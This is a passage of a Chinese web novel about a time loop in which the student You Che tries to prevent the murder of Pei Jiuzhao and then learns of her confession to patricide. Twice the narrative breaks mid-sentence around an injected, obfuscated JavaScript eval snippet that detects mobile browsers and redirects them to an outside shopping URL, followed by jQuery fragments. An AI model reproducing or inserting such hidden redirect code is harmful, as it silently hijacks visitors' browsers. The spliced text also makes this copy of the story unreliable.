在对面的人还没将电话挂了之前,他开口问道:“究竟是什么事闹得这么大?” 尤澈说完意识到自己才算是身处于漩涡中心的人,他咳了两声解释道:“前两天在外地,今天才回学校,不太了解。” 尤澈的两三句话激起了电话那头的一片疑惑,随后传来了七嘴八舌的解释声音。 “同学你居然不知道?” “不止林城、游城……好像秋城上面的领导也非常重视。” “游大一个大四的学生,上周五给你们招生办打完电话后,被发现暴毙在家里……听说血都漫出来了,也不知道多大的仇要捅那么多刀啊。” “凶手到现在还没找到,好像是那人上大学时走后门取代了名额导致一个好学生死了,冤魂索命!” “诶?不是林大物理系招生办的电话上个世纪被道士封了符?那人不小心违了令猝死了?” “不对!我听得明明是那人自己招惹了不该招惹的人,欠钱还不上就被一刀带走了?” “……”,乱七八糟的解释传了过来,尤澈无奈地扯了扯嘴角,并决定及时止损,说道:“好的,谢谢,我先挂了。” 不管电话那头有什么反应,他眼疾手快地按了挂断键,座机“嘟”的一声暗了屏幕。 尤澈自诩“两耳不闻窗外事”,今儿却不知怎么地破了例,甚至下意识间已经拿起手机开始搜上周五发生的事了。 不过真如他们所说得那样,这件事已经火到不需要输入关键字,首页第一条就是。 【大四学生于家中被砍数刀而死,凶手至今还未落网】 【3月30日下午两点四十分,游城市相城区派出所接到报警,游城大学化学系大四学生裴某于相城区某居民区的家中死亡。】 【据悉,裴某身中歹徒十数刀,流血身亡。游城和林城的警方跨省联合搜捕,尚未抓到凶手。据林城大学物理系招生办接电话的同学所说,裴某打电话过来只是询问了考研调剂相关事宜便于3月30日下午两点三十五分主动挂了电话,此后行踪不知。】 【至于裴某的尸体,经过法医检查后被邻居林某接走,暂定于4月3日送往相城区火葬场火化。】 关于案件的报道到这里结束了,底下的评论却多达数百万条。 【顶我上去,我是死者的同学。她很少与我们这些同学有联系,也不怎么说话,我们一直以为她是个高冷性子,现在想来肯定是背地里干什么坏事怕跟我们说多了被我们知道!东窗事发被仇人杀了,肯定是这样】 【尸体被邻居接走,看到没?肯定又是一个无父无母混社会的野孩子,你们说这样的生下来做什么?祸害社会吗?】 【我的天呐!这是杀了凶手他爹吗?连捅了十几刀?!我平时切个肉都小心翼翼的,下得去手的得是血海深仇啊】 【在家里被砍死?好稀奇的文字,确定不是情杀吗?快到周末了,不是正好可以约吗?】 【建议警方查查死者,违法犯罪的事肯定不少干】 随便翻了几条点赞数多的热评,不是提供线索帮助破案的,也没有同情裴某血流身亡的,几乎全是对于死者本身的质疑。 尤澈蹙了一下眉,心里莫名涌起一种名为难过且气愤的情绪,他一连将前几条热评都举报了,随后退出了这条披着“新闻”外衣的“道德”帖。 他将手机锁屏放到一边,继续看自己带来的故事合集。 两分钟过去了,尤澈的脑子里跟故事唯一沾边的只有“很久很久以前”,剩余的全部都是“裴某身亡”。 4月3日火化…… 他明天没有课,最近也没什么需要加急处理的事,有空可以去游城祭奠死者。 尤澈以为自己只是想想,第二天坐上林城开往游城的列车时才意识到,他居然有一天会为了一个陌生人奔赴百里之外,还穿了一身黑、拿了一把黑伞。 出了车站,四月初的游城艳阳高照,他才察觉到自己这身跟电视剧学来的装束有多蠢,就连打车时说自己去相城区火葬场都被司机在后视镜中瞄了好几眼。 明天才是清明,今日的火葬场算不上拥挤。 尤澈本以为寻找一个只认得姓不知道叫什么的陌生人会非常困难,哪知他刚进了火葬场的大门便认出来了死者的邻居所在的地方。 火葬场左面的花坛上坐着一个形容枯槁的女人,周边围了一堆扛着摄像头和话筒的媒体,除此之外再无旁人。 尤澈只瞧了一眼便没来由地攒了一肚子的怒气,他走上前借用身高的优势拨开那些吃“人血馒头”的记者。 那群记者本来守着一个锯嘴葫芦了无生趣,看着有一个新的、没见过的人过来了,一堆人同时两眼放光,他们互相使了个眼色,围着尤澈便开始问。 “你认识裴九昭吗?” “请问你与裴九昭是什么关系呢?” “你是裴九昭的同学还是男朋友,为什么前几天出事的时候没见你出面呢?” “作为裴九昭的朋友,你觉得裴九昭为什么会死呢?是得罪了什么人吗?” 尤澈本想拉着那位林女士离开这个是非之地,哪知他们倒是脸很大地不请自来,顿时被气笑了。 他转过身将那些张利欲熏心的脸一一扫过,讽刺地开口道:“你们觉得自己为什么会来火葬场?是这辈子不想当人了吗?” “你们觉得自己和即将被推进去火化的死人有什么区别?是还会机械运动吗?” 那群“记者”像是经常经历这样的事情,熟练地反击道:“我们是问到你的什么痛处了吗?” “你这样避而不谈是不是和警方一起瞒了什么?” “你是气急败坏了吗?” 尤澈很淡然地点头肯定道:“不过我气急败坏的时候,更希望用拳头解决。” “所以来之前找了火葬场的保安,忽悠他们……”,他突然很大声地说道:“纵容媒体侵权也是会被抓进去的。” 魁梧的保安站在一群“记者”后面,在地上投下一大片阴影,极其有压迫感。 尤澈好心地提醒他们道:“不用回头看了,如果想体面点,就删了素材自己滚。” “不想当人的,我可以帮你把储存卡掰了,顺便送你去蹲局子。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13339855|139178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尤澈也不知道自己什么时候点亮的忽悠人技能,总之听起来很吓人很有效就是了。 刚才还围成一团急着上前的人,删完视频后乌泱泱地全跑了。 尤澈刚转身还没同林女士说一个字,后面火葬场的负责人就喊道:“裴九昭的家属在吗?” 面前的女人猛地站起来高高地举起自己的手,回道:“在的在的。” 负责人往这边扫了一眼,招了招手道:“到你们了。” “好的。”,林丹伽刚准备走,想起来还有一个人,站定问道:“你肯定是昭昭的朋友吧?要一起来送送她吗?” 尤澈没参与过这种事,自然不知道“送”是什么意思,他刚怔怔地点了点头,就被林丹伽拽走了。 一直走到火葬场右面的小房子前,林丹伽才松手,神情沉重地整理自己的着装,一双眼中蓄满了泪水,要掉不掉的。 她像是几日几夜没阖过眼,即使打扮得再美丽,也掩盖不了那份衰败。 尤澈从林丹伽的身上收回视线,面前的房子有一条很长的长廊,最末端应该就是所谓火葬的地方。长廊中途一左一右开辟了块地方。 他亲眼看到一个工作人员推着盛放尸体盖白布的铁床到了那处缓冲之地。 尽管从车站下来后到现在热得一身汗未消,尤澈还是很庆幸自己穿了一身黑。 尤澈跟在林丹伽的后面亦步亦趋,刚踏入走廊便觉得阴凉。每走一步,他见林丹伽的背耸几下,似是在哭。 快到的时候,她甚至身形有些摇晃,尤澈一直在等她撑不住的时候接她一把,可是没有。 工作人员将盖住头的白布稍微撤下来一段,露出一张灰败却清秀的脸,她双眼合住、表情淡然。 如果不是走近了看到尸斑,尤澈会以为她只是睡着了。 “啪嗒” 这里很安静,尤澈不用看也知道是那位林女士控制不住自己,落了泪。 只是听到那种声音,再看着面前的刚从火葬场负责人口中得知姓名的裴九昭,他竟然也感到了一丝悲恸。 后面还有很多人在排队,且裴九昭的亲朋好友满共就他们两人。没过多久,工作人员就开始催了。 “昭……昭……”,林丹伽再也憋不住了,只是开口便哑了嗓、堵了气。 “可以走了,记住不要回头,沿着这条走廊走到头后右拐。” 前半段还好,后半段几乎是尤澈将林丹伽扶出来的。他将人安顿在等候的座椅上,去买了两瓶水放在旁边。 直到林丹伽止住哭泣,尤澈才将水递了过去,问道:“她生平没有喜欢之物吗?可以一起送去烧了的那种。” 林丹伽闻言缓缓地摇了摇头,哑着嗓子开口道:“警方将昭昭的遗物给了我,昭昭曾在一个本子上写过‘赤条条来去无牵挂’。” “她更不愿意毁物,与自己一般烧成脏兮兮的灰……唯一的愿望就是什么都不带走。” 只这两句,就绝不是评论区描述的那样。 尤澈在口袋里捏紧自己的手机,半晌又问道:“除了你,她没有亲朋好友了吗?” 林丹伽沉默了一会儿才摇了摇头,“出殡的时候有几个自称是昭昭同学的人放了几束花便走了。” “跟昭昭家说过话的邻居送到门口便散了……至于昭昭的外公外婆,只在警方将尸体送回的时候急匆匆地来看了一眼。” 尤澈闻言蹙了一下眉,问道:“那她的父母……” “裴九昭家属,可以来领走骨灰了。”,负责人举起一个木质浮雕盒子问道:“这个是你买的那款吗?” 见林丹伽点了点头,他才将那个盒子递给另一个人,说道:“马上就好。” 直到林丹伽带着他来到一个墓园,尤澈才知道她不仅出了钱火化裴九昭、买了骨灰盒,甚至还给裴九昭买了墓地。 他拿着一束花站在裴九昭墓地所在的那行最外面,将独处的空间留给她和林女士。 陵园很安静,只有风声和花草摇曳的声音。 不一会儿,林丹伽就擦了眼泪站起身,走到了尤澈的身边示意他可以进去了。 明明如此寂静,尤澈将花放下后看着墓碑上那张黑白照片只觉得耳朵根子都被吵麻了。 连他自己都不知道在这样的环境下为何会说出这样的话,但他还是下意识地喃喃出口道:“同学请自重。” 一时之间,所有记忆碎片涌入脑海。 等他再回过来神时,旁边的花草不过随风摇了几下。 尤澈蓦地觉得很神奇,明明他和裴九昭从未认识,却见过了她生、她死、她火化、她入土,像是上辈子欠了的债。 他知道今天是4月3日了,也知道自己从循环中脱离了。可是,还是有种说不上来的压抑感沉沉地砸在心上。 他伸手摸了摸那张黑白的照片,慢慢地说:“再也不用听他们的污言秽语,怎么不笑笑?” 因为这句话,尤澈陡然想起来一个很关键的点。 报道中说“3月30日下午两点四十分接到报警”,也就是说裴九昭在两点三十五就挂了招生办值班女生的电话。 为什么呢? 明明裴九昭那么爱聊天…… 更何况电话对面还是个女生,为什么只问了调剂事宜就挂了电话? 究竟是哪里不对? 难道是报道报错了时间? 尤澈猛地从口袋里拿出手机,用关键词搜索了这件事情,随后连着看了五六个帖子,报案时间都是下午两点四十。 ……他好像搞反了一件事。 不是裴九昭的死亡带着他在循环,而是…… 因为他,裴九昭可以向天再借四个小时。 9.第九次循环 3月30日下午四点整,林城大学物理系招生办的电脑蓦地弹出一个窗口——现在张口说“同学请自重”。 听游大学生唠嗑一个半小时的尤澈看到那个弹窗怔了一下,随后像是被人操控般无意识地喃喃道:“同学请自重……” 前八次循环的记忆虽算不上多,对于尤澈却像是几秒内将高数灌到脑子里一般困难。 ……他怎么又回循环里了? 尤澈努力地将记忆碎片拼了起来,想起了自己主动进循环的过程。 上次循环恢复记忆后,他意识到了自己对于裴九昭死亡的作用,也就是基本上可以确定只有他可以在四个小时内尝试救回这个濒死之人。 他刚想通这件事的时候,也觉得听起来很是扯淡。 尤澈从来对什么“救人一命胜造七级浮屠”不以为然,也不盼着救人能够被感激涕零地记一辈子。他对普渡众生的菩萨更不感兴趣,也没什么同理心、圣母意。 只是……在说不上来的情绪驱使上,会不自觉地点开那些不堪入目的评论,会不由自主地幻想。 ——如果裴九昭没死,是不是那群抓住没肉的白骨都要啃的“人”就不会知道世间还有这么个人? 对于“死了还要遭骂”这样的狗屁事,尤澈到底是狠不下心来视而不见的。 凭什么那群“人”可以仗着虚拟的伪装肆意将自己的不痛快报复给每个陌生人身上?甚至还没有报应,尤澈连给他们一拳都做不到。 所以…… 与其成为附骨之疽口中的“有罪受害者”,不如苟且偷生,沉寂地活着、沉寂地死去。 “嘟”的一声将尤澈的思绪拉了回来,他下意识地寻找声音的来源,最后将视线定格在桌子左上角的座机上。 屏幕慢慢地暗了下去,上面 “通话结束”的字样变了个颜色。 他这次是真的不小心将裴九昭的电话挂了! 尤澈意识到这件事后心脏都停了一拍,仅仅迟了一秒便将电话回拨了过去。 无规律地用手指快速敲击键盘,他急得跟热锅上的蚂蚁一般。明明知道只要挂电话就很难再联系到裴九昭,这种低级错误也会犯,尤澈在心里不知骂了自己多少句了。 让他没想到的是,开着扩音的座机没“嘟”几声竟然打通了,甚至比警方的接线专员接电话还要快。 一时之间,虽然两地因电话而连通,但没有一个人先开口,安静地只剩下墙上挂钟兀自转动的秒针在发出声音。 这通电话本是尤澈回过去的,更应该主动开口解释挂电话是不小心的原因、告知裴九昭有凶手在盯着你的真相,可是临到了头,他不知该怎么开口。 不知道怎么讲,裴九昭才会信他,而不是把他当做一个异想天开、匪夷所思的“梦游者”。 挂钟的秒针就这么转过了两圈,电话那头的裴九昭不仅没开口问他为什么打回来,也没挂电话。 尤澈的解释思绪甚至从“我听到电话中还有另一个人的呼吸声”跳跃到“我是一个超能力者”,还是没有结果。 到最后,他破罐子破摔地问了一个连自己都不知道要通过这个问题得到什么答案的奇怪问题。 “你看故事书吗?” “啊?”,一直在等尤澈开口说话的裴九昭猝不及防听到了这个莫名其妙的问题,有点摸不到头脑。 虽然听起来很无厘头,但是裴九昭还是略一思索,认真地回道:“看过不少,也写过。” 不知为何,听到裴九昭回答的尤澈反而松了一口气。可能是因为她没有对着自己破口大骂“二缺”,也可能是因为她非但没觉得问题奇怪,反而严谨地回答。 他犹豫了几秒钟,还是决定以循环的角度说明这件事,“你知道循环吗?” 电话那头的裴九昭停了几秒才回道:“……知道。” “那……你信故事中的循环会发生在现实吗?” 鬼知道尤澈能将这句憋了九次循环的话说出来做了多少心理建设,连带着心脏都沉沉得,像是要跳不动了。 “……”,裴九昭似乎在消化他的话,过了好久才问道:“你的意思是,现在的我们身处在循环之中?而你就是那个在循环中拥有记忆的人?” “……为什么要告诉我这些?这个循环是不是与我有关?” 尤澈没想到裴九昭聪明到可以让自己省去那么多口舌,甚至都不需要他引导,裴九昭自己就想通了循环与她有关。 早知道这么简单,他第七次循环就能将她从死亡边缘救回来。心情莫名好了一些,尤澈快速地回答道:“我们被困在了3月30日这一天,现在是第九次循环。” “我只有在特定条件下才会恢复记忆,挂电话之前我说了一句‘同学请自重’才想起来自己在循环。” “告诉你是因为……你会死。” “我现在不确定你会在今天下午的哪一刻被歹徒杀死,可能是六点多,可能是八点多……但绝不会是现在。” “我也不知道凶手是谁……对不起,八次循环都没有帮你找到凶手。” 一连串几乎不停歇的解释将尤澈的气都快耗完了,他稍微喘了口气后继续说道:“不过,只要我们一直保持通话,凶手不会动手。” 裴九昭好像听到了一句奇怪的话,不是很理解地打断尤澈问道:“保持通话就不会死……为什么?” “我不知道。” 尤澈也想不通为什么凶手不会在他打电话的时候动手。如果他可以无视两道门相隔之外的丹伽,那么同理也可以忽视他的这通电话。 可是,凶手像是怕了他一般。那么问题又来了,凶手既然能在人最多的饭点动手,又为什么要怕他一个百里之外的人? 虽然他也搞不懂,但是这么做就对了,尤澈如是解释道:“之前的循环中,只要这个电话一挂,就再也联系不到你了。” “所以,为了保障你的安全,我们俩暂时谁都不要挂电话。你等我一下,我去帮你报警……” “不用报警……”,裴九昭打断他的话后又停了几秒才说道:“不用麻烦你,我一会儿自己拨110。” “报案之前,先给我讲讲你前几次循环发生的事吧。” 不知是不是尤澈的错觉,他总觉得裴九昭掩盖了什么他不知道的事情,甚至有些急于转移话题。而且,她似乎很肯定知道真相的自己不会再被凶手杀害,竟然在不知什么时候会失去性命的时刻胆子很大地想听他讲故事? 他又认为是自己想多了,从第一次循环尤澈便知道裴九昭只是爱八卦,此时此刻听到自己循了九次,肯定很想听故事。 至少现在,挂了一次电话又与裴九昭说了这么多话,挂钟都默默地走到了四点二十分,凶手还是没动手,应该没什么大碍。 尤澈难得找到一个愿意听他倒有关于循环苦水的人,还正好是循环中的关键人物,自然好好地从第一次循环开始一点点把那些憋在心里的东西都吐了出来。 电话那头的裴九昭一直在听着,是不是回应一句证明自己在听。 尤澈将九次循环的前因后果整整讲了半个小时,说完后他抓起桌子上的杯子猛灌了一口。 他正在忙着解渴时,裴九昭的声音从座机的扩音口传过来。 “上次循环时你已经算脱离了,为什么这次又开始循环了?” 尤澈自己肯定知道他是为了裴九昭再回来循环的,只是这样说出去显得自己跟老流氓一般,所以特地隐瞒了这个缘由,装作不解的样子说道:“……我不知道。” “可能是你还没有活过今天吧。” 尤澈在补充水分,裴九昭不知道在想什么,一时之间又陷入了他刚回拨电话时的尴尬处境。 他犹豫了几下,问道:“你不怕死吗?” 裴九昭闻言怔了一下,轻笑道:“为什么这么问?” “因为我一直没有报警?因为我不怕死地在危急时刻听故事?” 话都让裴九昭都分析完了,尤澈还能说什么,只能像门闷炮一样“嗯”了一声。 电话那头的裴九昭想了一下,突然道歉道:“对不起,耽误你了。” 这句话似有千斤重,不论从字面上还是语气上,都令尤澈难以承受,他连忙说道:“没有,是我蠢,没有很早地将你救回来。” 不知哪个字戳到了裴九昭的笑点,她闻言竟然笑了出声,随后说道:“想什么呢?我是说耽误你的时间了。” “放心,我先挂……” “别挂!” 说完,尤澈蓦地觉得自己反应太大了,肯定是循环带来的对于“挂电话”的ptsd,他在心里骂了自己几句后讲道:“撑过六点十五……不对,过了今天晚上……” “也不对,等警方抓到了凶手,或者警方能够很好地保护你之后,再挂吧。” 裴九昭没想到尤澈应激反应这么快,带着些歉意说道:“不用麻烦了……这样吧,我去隔壁找丹伽姐姐,跟她在一起总可以了吧?” 尤澈闻言犹豫了几秒,还是拒绝道:“不行。万一凶手暴走,一刀双杀怎么办?” 他总觉得裴九昭不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13339856|139178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是很在乎自己的生命,如是想便如是劝了出来道:“死了要流好多好多的血,把衣服全部浸湿成红色,还会沿着地砖的纹理流向门外被所有人看到……” “法医会把你解剖,食道、肠胃等做完检查后再给你缝起来……你的尸体不能存太久不然会臭气熏天,长满丑兮兮的尸斑……最后被推往火葬场一把火烧成灰,再盛到那么小一点的木盒子里不见天日,多憋屈。” 尤澈没想到有一天,自己会啰嗦到用“老虎会吃人”那种吓唬小孩子的教育方式给一个陌生人讲述死亡、劝她好好活着。 很自然地就说出来了,说完他又觉得听起来太蠢,咳了两声严肃地找补道:“鲁迅曾说过……” “说过……好死不如赖活着,嗯就是这句。” 几句话生生把裴九昭给说笑了,她刚才一直憋着,憋到脸都红了,实在是难受就笑了出来。 笑容来得快去得也快,裴九昭收敛了之后又细细想了想,无意识地喃喃道:“好吧,看在你这么……” 尤澈听到电话传来裴九昭的声音,又听不清她在说什么,问道:“你说什么?” “我说,这句话明明是……亚里士多德说的。”,裴九昭被自己的话惹得笑了一声。 “好吧,我也不知道是谁说的……不过,报案之后让相城区警方来保护我,你总归能放心了吧?” 尤澈权衡了一下,同意了她的提议。随后,他看了一眼面前电脑上被自己写过好几次的实验报告,无奈地摇了摇头后开始按键盘补字数。 裴九昭寻到了自己的手机,拨通了110的电话后按了免提,开门见山地和接线专员说道:“我要报案,请帮我转相城区派出所……” “我在……家中……好像有人跟踪我……好的,希望可以尽快安排……” 尤澈猛补了一大段实验报告,没听到裴九昭的声音,问道:“警方什么时候来?” “不知道。”,裴九昭顿了一下又说道:“可能四五分钟,也可能十几分钟。” “毕竟我这种被跟踪不是什么大事。” 裴九昭的话总像是带着刺说出来的,只是朝向谁不得而知。尤澈“嗯”了一声,告诉她自己可能要赶实验报告,让她别闲着继续说话以防凶手动手。 墙上的挂钟秒针约莫走了五圈,桌子上的座机传来了敲门的声音,随后隐隐约约有人声。 “我是相城区……” 裴九昭走过去开了门,将便衣警官带进了屋,对他说道:“可以再对着电话报一下自己的身份吗?我……朋友他不放心。” 尤澈刚才便将实验报告赶完了,如今听到裴九昭的那句“朋友”,莫名不是滋味。 那位警官很给面子,很大声地对着电话自我介绍道:“我是相城区派出所治安一队队长,” “这样放心了吧?”,裴九昭听到尤澈肯定的回答后笑了一声,随后祝福他脱离循环。 “恭喜你,好好活着。” “嘟”的一声,裴九昭将电话挂了,甚至没有留给尤澈祝福回去的时间。 他怔了一下后又想到——反正裴九昭活着,以后有的是时间。 下午六点半,尤澈收拾东西刚准备离开物理系招生办,桌子上的座机陡然响了起来。 他以为是相城区警方抓到了隐藏着的凶手,裴九昭来给他说这件事了,看都没看地拿起听筒接了电话。 “怎么样……” “你好,我是上关区派出所刑侦队的章以恩。你是尤澈?” 没想到还能接到章警官的电话,尤澈愣在了原地,基于记忆中的条件反射,他下意识地回道:“是。” “今天下午你接到了来自游城的电话,打电话的人叫裴九昭,她于五点二十五分向相城区警方报案,你是否知情?” 尤澈抿了一下唇,应道:“是。” 电话那头的章警官似乎翻了一页纸,接着说道:“虽然裴九昭在笔录中极力表示这件事与你无关……但你还是需要来派出所做一份笔录,讲讲今天下午的事,表明你对此事不知情的态度。” 尤澈一下子就懵了,喃喃道:“知情什么?” 不就是裴九昭还好好活着? 并且她被相城区警方保护起来了? 怎么可能严重到还需要他去做笔录? 章警官顿了一下,随后用一句话将整件事简单地描述了一下。 “裴九昭向相城区警方自首,承认自己是杀害裴人中的元凶。” “嘭——” 座机的听筒摔到了桌子上。 10.第九次循环(下) “尤澈……尤其的尤,清澈的澈,林城大学物理系研二……” 章以恩照着电脑上的个人信息念完后,抬眼看向对面坐着的尤澈,垂着头不知在想什么。 他想了想,稍微提高音量问道:“你与裴九昭之前不认识,对吗?” 台阶就差甩到尤澈脸上了,他何止没有意识到章以恩的话中话,甚至连他问自己的话都没听到,只沉浸在自己的分析中。 这次循环完全是出乎人意料的一次发展…… 难道是他诉说的循环太过于迫切、太过于热血……所以导致裴九昭听嗨了将裴人中反杀了? 可是,他和警方分析了八次循环都没得出的凶手答案,裴九昭怎么会这么快就推断出是裴人中?而且时间那么短,证明裴九昭在和他谈话中就布局了杀人的事情…… 她为什么那么肯定凶手是裴人中?就算裴九昭瞬间推出凶手,为什么不跟警方说、不跟他讲,而是要冒风险去杀人? “咚咚咚——” 章以恩曲起指节在桌子上磕了几下,将尤澈的思绪抓了回来。 “知道这起案件对你的冲击很大,一时缓不过来是肯定的。只是,游城市相城区那边的刑事诉讼公诉流程已经在走了。” “裴九昭是自首且态度良好,将所有细节交待的很清楚也很全面。所以,审批很快就会通过,预计将于……下周三4月4日开庭。” “如果你要将这份笔录拖到下周,很可能也会被带上法庭。” “……我知道了,警官。”,尤澈微微抬头并没有直视章以恩,而是盯着桌子上的某一处磨损静静瞧着。 “裴九昭出生于游城市相城区,也一直在游城上学。而你从未去过游城,从前与她并不相识,对吗?” 章以恩顿了一下,又加了一句问道:“除了询问调剂的事宜之外,你也不知道她为什么同你打电话,是吗?” 对啊,他与裴九昭的关系从来都是“陌生人”,而不是“朋友”。 明明章警官询问的、讲述的都是事实,不知怎么的,尤澈特别不想认。 章以恩见他没有说话,语气加重地又问了一遍道:“我刚才说的是否正确?” 耽误时间对两人都没有意义,裴九昭已经自首被羁押,他就算用一张嘴颠倒黑白说破天也于事无补,尤澈怀着沉重的心情点了点头,表示自己认同。 章以恩见他终于承认了,暗暗地松了一口气,继续问道:“你只是同裴九昭讲述了调剂事宜的选择,此后便没再认真地听她说的话,对于她筹划的杀人事件并不知情,对吗?” 裴人中怎么可能是裴九昭杀的呢…… 这个问题从尤澈的脑海中一闪而过,他蓦地觉得很神奇。 明明裴九昭死亡的照片给他带来那么大恐惧,觉得凶手罪大恶极应当千刀万剐。反而这次循环爆出来裴九昭杀人的时候,他打心底里没觉得是裴九昭的错,甚至都不觉得人是裴九昭杀的。 也许在他的视角中,裴九昭永远是最大的受害者。 看到尤澈默默地点头后,章以恩翻了翻面前的文件继续问道:“是裴九昭给你传达的她被人跟踪的假象从而报警打消你的顾虑,你对此根本不知情,是吗?” 等等…… 怎么成了裴九昭向他传达被跟踪了?这不是他同裴九昭讲前几次循环时说的细节吗? 假象…… 他之前一直怀疑章警官口中的报警时间有了出入……有没有可能裴九昭真的是在五点二十五报的案,但是那个时候他觉得裴九昭无碍便去补实验报告了并不知道她到底在报警电话里完整地说了什么。 而且他问相城区警方什么时候来,裴九昭回答得支支吾吾的。有没有可能,什么治安一队队长就是裴九昭找来的托? 那位治安队队长并没有报名字,好像是裴九昭迫不及待地给他打断了……等到挂了他的电话后动手,只是他有这么重要吗? 或者是,那位托杀的人,上门告诉裴九昭成功了……裴九昭又为什么要揽下罪责呢? 尤澈觉得自己真是蠢得可以,怎么听到了一个人说自己是治安一队队长就那么放心地挂电话呢? 不过,如若说他不挂电话可以保证裴九昭不死,那么裴九昭杀不杀人却与这些一点关系没有…… 他还是保证不了裴九昭是干净的。 好像又进了一个新的死胡同。 尤澈将思绪拽回来,将章警官问的问题结合来看,发现了一个事情。 他循环循多了总觉得自己将事情都与章警官交待了,可是这次他到派出所来之后只点了点头回答了几个是,并没有说过一点细节。 他莫名想清楚了,抬头看向章警官,反问道:“警官,你所问的……” “嗯,都是裴九昭的口供。你只需要确认这些属实……” 后面的话他没有听进去,却突然明白了裴九昭挂电话前最后一句话——恭喜你,好好活着。 所有的细节、所有真或假的事情……她都替他编完整了,也替他想好了后路。 ……彻彻底底地将他“洗干净”了。 尤澈不知现在应该是夸裴九昭聪明还是骂自己的愚蠢,他一个有记忆的人都做不到的事……裴九昭甚至没怎么费口舌就妥当地办完了。 只是,他的人是干净的,心依旧皱巴着。他为了不让裴九昭饱受那些非议而来,却把她推向一个更重的罪名上……将她亲手钉在了“弑父”的耻辱柱上。 尤澈肯定是要再次入循环的,不过这次循环中他还有一件很重要的事情要办——与活着的裴九昭见上一面,问问为什么? 并且……他从刚才的情绪中缓过来,在心里组织了一下语言道:“章警官……这里面会不会有隐情?” “其实我还知道点其他的……” 章以恩一听就知道他想从自己这里套取案件的细节,不管尤澈出于什么原因…… 他打断尤澈的话,严厉地道:“不该知道的不要试图打听,别搅进来太深。” “你只需要根据裴九昭的口供点头就是了,只需表明你对此事不知情,知道太多对你反而不是好事。” 尤澈闻言垂下头绷着嘴角一言不发,他总觉得这件事非常怪异,从裴九昭没有理由杀人开始,到章警官对此事缄口不言。总不能是因为怕杀人案的细节会吓到一个成年人吧? 他必须去一趟法庭,亲自听听裴九昭认罪的细节…… 尤澈蓦地想起了上次循环时不胫而走的死亡讯息,忙抬头请求道:“章警官,能不能别将这件事对公众……也不能算隐瞒,就是不要人尽皆知。” “‘弑父’的罪名对于一个女生来说,太过于沉重了……那不仅仅是与世隔绝的监禁,更是社会舆论的压迫。” 章以恩闻言搓了几下文件后,向尤澈微微颔首,带着歉意说道:“我们两方均有意在舆论方面保护裴九昭……只是相城区警方取证时,不知是谁走漏了风声。” “如今已经拦不住了……” 这几天,尤澈好像变得格外敏感,到哪都能在嘈杂的人群声中听到有关于裴九昭事件的讨论。 “听说了吗……我的天哪,还是我妈发过来我才知道……良心被自己吃了吧?” “造孽啊,我听说现场有特别多的血迹……就那种检测血迹的鲁米诺试剂,生生用了两大瓶!这是给她爹放血放死了吗?多大的仇啊,好歹养她这么多年呢……” “她爹就没有责任吗?养个白眼狼养到这么大为了给自己‘送钟’来了是吧?而且她妈为什么直接隐身了?女的在家不好好教育孩子,还养出来个这玩意祸害社会……女的也不见得干净。” “就是啊,她妈凭什么美美隐身啊?你说会不会是欠了钱,专门教唆她女儿杀人后骗保还钱的?” “可是我……” “可是什么可是,事实胜于雄辩,这样的你还要为她辩解?那祝福你以后也养这么个畜牲出来,在你没防备的时候给你来一刀。” “……” 很难听,也很难想象那是可以从相对有涵养的人嘴里吐出来的词。 如果不是怕在去法庭旁听前出事,尤澈说不定就抡着拳头上去了。 4月3日,闹钟还没响,睡得不是很稳的尤澈从梦里醒了过来,明明刚才还记得做了什么梦,下一秒就忘了个干净。 他揉了揉眼睛,无数的问题压在心头致使尤澈没什么睡意。他从枕头边拾起手机,解锁后下意识地去看新闻帖。 这些天尤澈属于是看了实时评论想骂人,闲下来的功夫又不得不跟着新闻帖了解刑事诉讼到了哪一步。 【游城弑父案件将于今日早上九点在游城市第一人民法院开庭】 今日九点开庭?也就是一个小时之后?章警官不是说开庭时间在4月4日吗? 尤澈瞧到了这个标题里面点了进去,是一个偏官方的宣传新闻帖,里面附带了几张法院以及相城区警方办公的照片。 评论区已经有人活跃了起来,刨去那些骂人的,尤澈看到一条。 【早上出门吃早餐看到相城区看守所已经开始准备车辆押送犯人了,搞那么大阵仗我还以为是什么事呢】 尤澈立马看向手机上方的时间,现在是八点十分,也就是五十分钟后,裴九昭就要上法庭了…… 他猛地从床上弹起来,随便抓了几件衣服往身上套,洗脸刷牙的期间还高价约了一辆去往游城的车。 一通收拾后,尤澈以最快的速度跑向校门口,在八点二十分坐上了专车,随后向章以恩发消息问开庭的事情。 十点整,尤澈坐的车才下了高速,手机也传来了消息提示音。 [尤:章警官,你不说4月4日才开庭?为什么我从新闻上看到时间却是今日上午九点?] [章以恩:我说的不是4月3日吗?] 他很清楚地记得章警官当时在自己对面说的是4月4日,当时他还觉得这个数字听起来特别不吉利。 尤澈“啧”了一声,章警官回的这句话傻子都能琢磨出来逃避的意味,以及变相地让他少管这件事。 好在游城市第一人民法院离出高速的口不远,不到十分钟后尤澈便赶到了。 门口站着一个老熟人,小李一看就是被章以恩安排过来堵他的。 尤澈当作没看见他,径直就往法院里冲。到底是比不得警校出来的人,他还没走几步就被小李警官横臂拦了下来。 他垂下眼睑,扭头看向小李警官,无辜地说道:“警官,我没有犯罪吧?我只是来旁听的,这是作为人的自由。” 小李面露犹豫,挣扎了几下还是没有收回自己的胳膊,老老实实地拦着人,劝道:“其实是章队怕你听到杀人案的细节,这对你以后来说不好。” 